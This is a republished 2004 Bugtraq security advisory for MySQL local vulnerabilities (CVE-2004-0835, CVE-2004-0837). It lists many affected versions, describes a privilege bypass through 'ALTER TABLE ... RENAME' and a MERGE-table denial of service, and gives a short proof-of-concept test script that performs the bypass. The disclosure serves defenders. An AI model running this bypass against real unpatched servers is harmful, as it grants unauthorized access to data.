MySQL Multiple Local Vulnerabilities

BID:11357

Info

MySQL Multiple Local Vulnerabilities

Bugtraq ID: 11357
Class: Design Error
CVE: CVE-2004-0835
CVE-2004-0837
Remote: No
Local: Yes
Published: Oct 11 2004 12:00AM
Updated: Feb 16 2007 12:37AM
Credit: These issues were disclosed by Oleksandr Byelkin and Dean Ellis.
Vulnerable: Ubuntu Ubuntu Linux 4.1 ppc
Ubuntu Ubuntu Linux 4.1 ia64
Ubuntu Ubuntu Linux 4.1 ia32
Trustix Secure Linux 2.1
Trustix Secure Linux 2.0
Trustix Secure Linux 1.5
Trustix Secure Enterprise Linux 2.0
SuSE Linux 8.1
SuSE Linux 8.0
Sun Solaris 10.0_x86
Sun Solaris 10
S.u.S.E. Linux Personal 9.2
S.u.S.E. Linux Personal 9.1
S.u.S.E. Linux Personal 9.0 x86_64
S.u.S.E. Linux Personal 9.0
S.u.S.E. Linux Personal 8.2
Redhat Fedora Core1
Redhat Enterprise Linux WS 3
Redhat Enterprise Linux ES 3
Redhat Enterprise Linux AS 3
Redhat Desktop 3.0
OpenPKG OpenPKG 2.2
OpenPKG OpenPKG 2.1
OpenPKG OpenPKG Current
MySQL AB MySQL 5.0 .0-alpha
MySQL AB MySQL 5.0 .0-0
MySQL AB MySQL 4.1.1
MySQL AB MySQL 4.1 .11
MySQL AB MySQL 4.0.18
+ MandrakeSoft Corporate Server 3.0 x86_64
 + MandrakeSoft Corporate Server 3.0
+ Mandriva Linux Mandrake 10.0 AMD64
 + Mandriva Linux Mandrake 10.0
MySQL AB MySQL 4.0.17
MySQL AB MySQL 4.0.15
+ Mandriva Linux Mandrake 9.2 amd64
 + Mandriva Linux Mandrake 9.2
+ OpenPKG OpenPKG Current
 MySQL AB MySQL 4.0.14
MySQL AB MySQL 4.0.13
MySQL AB MySQL 4.0.12
MySQL AB MySQL 4.0.11 -gamma
MySQL AB MySQL 4.0.11
+ Mandriva Linux Mandrake 9.1 ppc
 + Mandriva Linux Mandrake 9.1
MySQL AB MySQL 4.0.10
MySQL AB MySQL 4.0.1
MySQL AB MySQL 4.0 .0
MySQL AB MySQL 3.23.58
+ Redhat Enterprise Linux AS 2.1
 + Redhat Enterprise Linux ES 2.1
 + Redhat Enterprise Linux WS 2.1
 + Redhat Fedora Core2
 + Redhat Linux Advanced Work Station 2.1
+ Sun Linux 5.0.7
+ Sun Linux 5.0.6
+ Sun Linux 5.0.5
+ Sun Linux 5.0.3
+ Sun Linux 5.0
+ Turbolinux Appliance Server 1.0 Workgroup Edition
 + Turbolinux Appliance Server 1.0 Hosting Edition
 + Turbolinux Appliance Server Hosting Edition 1.0
+ Turbolinux Appliance Server Workgroup Edition 1.0
+ Turbolinux Home
+ Turbolinux Turbolinux Desktop 10.0
+ Turbolinux Turbolinux Server 8.0
+ Turbolinux Turbolinux Workstation 8.0
MySQL AB MySQL 3.23.56
MySQL AB MySQL 3.23.55
MySQL AB MySQL 3.23.54 a
+ OpenPKG OpenPKG 1.2
+ OpenPKG OpenPKG Current
 + Redhat Linux 9.0 i386
 MySQL AB MySQL 3.23.54
+ Sun Cobalt RaQ 550
+ Trustix Secure Linux 1.5
MySQL AB MySQL 3.23.53 a
MySQL AB MySQL 3.23.53
+ OpenPKG OpenPKG Current
 + Sun Cobalt Qube 3
MySQL AB MySQL 3.23.52
+ Conectiva Linux Enterprise Edition 1.0
+ Mandriva Linux Mandrake 9.0
+ OpenPKG OpenPKG 1.1
+ Redhat Linux 8.0 i386
 + Redhat Linux 8.0
+ SuSE Linux 8.1
+ Trustix Secure Linux 1.5
MySQL AB MySQL 3.23.51
MySQL AB MySQL 3.23.50
MySQL AB MySQL 3.23.49
+ Debian Linux 3.0 sparc
 + Debian Linux 3.0 s/390
 + Debian Linux 3.0 ppc
 + Debian Linux 3.0 mipsel
 + Debian Linux 3.0 mips
 + Debian Linux 3.0 m68k
 + Debian Linux 3.0 ia-64
 + Debian Linux 3.0 ia-32
 + Debian Linux 3.0 hppa
 + Debian Linux 3.0 arm
 + Debian Linux 3.0 alpha
 + Redhat Linux 7.3 i686
 + Redhat Linux 7.3 i386
 + Redhat Linux 7.3
MySQL AB MySQL 3.23.48
MySQL AB MySQL 3.23.47
+ Mandriva Linux Mandrake 8.2 ppc
 + Mandriva Linux Mandrake 8.2
MySQL AB MySQL 3.23.46
+ OpenPKG OpenPKG 1.0
MySQL AB MySQL 3.23.45
MySQL AB MySQL 3.23.44
+ SuSE Linux 7.3 sparc
 + SuSE Linux 7.3 ppc
 + SuSE Linux 7.3 i386
 + SuSE Linux 7.3
MySQL AB MySQL 3.23.43
MySQL AB MySQL 3.23.42
MySQL AB MySQL 3.23.41
+ Mandriva Linux Mandrake 8.1 ia64
 + Mandriva Linux Mandrake 8.1
+ Redhat Linux 7.2 ia64
 + Redhat Linux 7.2 alpha
 + Redhat Linux 7.2
MySQL AB MySQL 3.23.40
MySQL AB MySQL 3.23.39
+ HP SCM 3.0
MySQL AB MySQL 3.23.38
MySQL AB MySQL 3.23.37
+ SuSE Linux 7.2 i386
 + SuSE Linux 7.2
MySQL AB MySQL 3.23.36
+ EnGarde Secure Linux 1.0.1
+ Mandriva Linux Mandrake 8.0 ppc
 + Mandriva Linux Mandrake 8.0
+ Redhat Linux 7.1 ia64
 + Redhat Linux 7.1 i686
 + Redhat Linux 7.1 i586
 + Redhat Linux 7.1 i386
 + Redhat Linux 7.1
MySQL AB MySQL 3.23.34
- Debian Linux 2.2 sparc
 - Debian Linux 2.2 powerpc
 - Debian Linux 2.2 arm
 - Debian Linux 2.2 alpha
 - Debian Linux 2.2 68k
 - Debian Linux 2.2
- FreeBSD FreeBSD 4.2
- FreeBSD FreeBSD 3.5.1
- HP HP-UX 11.11
- HP HP-UX 11.0
- IBM AIX 4.3.3
- IBM AIX 4.3.2
- Mandriva Linux Mandrake 7.2
- Mandriva Linux Mandrake 7.1
- Mandriva Linux Mandrake 7.0
- OpenBSD OpenBSD 2.8
- OpenBSD OpenBSD 2.7
- OpenBSD OpenBSD 2.6
- Redhat Linux 7.0 i386
 - Redhat Linux 7.0 alpha
 - Redhat Linux 6.2 sparc
 - Redhat Linux 6.2 i386
 - Redhat Linux 6.2 alpha
 - Redhat Linux 5.2 sparc
 - Redhat Linux 5.2 i386
 - Redhat Linux 5.2 alpha
 - Sun Solaris 8_x86
 - Sun Solaris 8_sparc
 - Sun Solaris 7.0_x86
 - Sun Solaris 7.0
 - Sun Solaris 2.6_x86
 - Sun Solaris 2.6
 - SuSE Linux 7.1
- SuSE Linux 7.0
- SuSE Linux 6.4
MySQL AB MySQL 3.23.33
+ SuSE Linux 7.1 x86
 + SuSE Linux 7.1 sparc
 + SuSE Linux 7.1 ppc
 + SuSE Linux 7.1 alpha
 + SuSE Linux 7.1
MySQL AB MySQL 3.23.32
+ Wirex Immunix OS 7+
 MySQL AB MySQL 3.23.31
+ MandrakeSoft Single Network Firewall 7.2
+ Mandriva Linux Mandrake 7.2
MySQL AB MySQL 3.23.30
MySQL AB MySQL 3.23.29
MySQL AB MySQL 3.23.28 gamma
MySQL AB MySQL 3.23.28
MySQL AB MySQL 3.23.27
MySQL AB MySQL 3.23.26
+ Redhat Linux 7.1 ia64
 + Redhat Linux 7.1 alpha
 + Redhat Linux 7.1
MySQL AB MySQL 3.23.25
MySQL AB MySQL 3.23.23
MySQL AB MySQL 3.23.22
+ Redhat Linux 7.0 sparc
 + Redhat Linux 7.0 alpha
 + Redhat Linux 7.0
MySQL AB MySQL 3.23.10
MySQL AB MySQL 3.23.9
MySQL AB MySQL 3.23.8
MySQL AB MySQL 3.23.5
+ MandrakeSoft Corporate Server 2.1 x86_64
 + MandrakeSoft Corporate Server 2.1
+ Trustix Secure Linux 1.5
MySQL AB MySQL 3.23.4
MySQL AB MySQL 3.23.3
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
MySQL AB MySQL 3.23.2
MySQL AB MySQL 4.1.0.0-alpha
MySQL AB MySQL 4.1.0-0
Mandriva Linux Mandrake 10.1 x86_64
Mandriva Linux Mandrake 10.1
Mandriva Linux Mandrake 10.0 AMD64
Mandriva Linux Mandrake 10.0
Mandriva Linux Mandrake 9.2 amd64
Mandriva Linux Mandrake 9.2
MandrakeSoft Corporate Server 2.1 x86_64
MandrakeSoft Corporate Server 2.1
Not Vulnerable: MySQL AB MySQL 5.0.1
MySQL AB MySQL 4.1.2
MySQL AB MySQL 4.0.19
MySQL AB MySQL 3.23.59

Discussion

MySQL Multiple Local Vulnerabilities

MySQL is reported prone to multiple local vulnerabilities. Exploiting these issues may allow an attacker to bypass security restrictions or cause a denial-of-service condition in the application.

Rportedly, an attacker can bypass certain security restrictions and gain access to and corrupt potentially sensitive data due to an error in 'ALTER TABLE ... RENAME' operations.

A denial-of-service condition occurs when multiple threads ALTER MERGE tables to change the UNION.

Due to a lack of details, further information is not available at the moment. This BID will be updated as more information becomes available.

Exploit / POC

MySQL Multiple Local Vulnerabilities

The following proof-of-concept example is available:

Security-restrictions bypass:

drop database if exists mysqltest;
connect (root,localhost,root,,test,0,mysql-master.sock);
connection root;
--disable_warnings
create database if not exists mysqltest;
--enable_warnings
create table mysqltest.t1 (a int,b int,c int);
grant all on mysqltest.t1 to mysqltest_1@localhost;
connect (user1,localhost,mysqltest_1,,mysqltest,0,mysql-master.sock);
connection user1;
alter table t1 rename t2;

Solution / Fix

MySQL Multiple Local Vulnerabilities

Solution:
Reportedly, MySQL versions 3.23.59 and 4.0.21 are not affected by these issues. Please contact the vendor for details.

Please see the references for more information.


Sun Solaris 10

Sun Solaris 10.0_x86

MySQL AB MySQL 3.23.49

MySQL AB MySQL 3.23.52

MySQL AB MySQL 3.23.54 a

MySQL AB MySQL 3.23.56

MySQL AB MySQL 3.23.58

MySQL AB MySQL 4.0.15

MySQL AB MySQL 4.0.18

References

MySQL Multiple Local Vulnerabilities

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report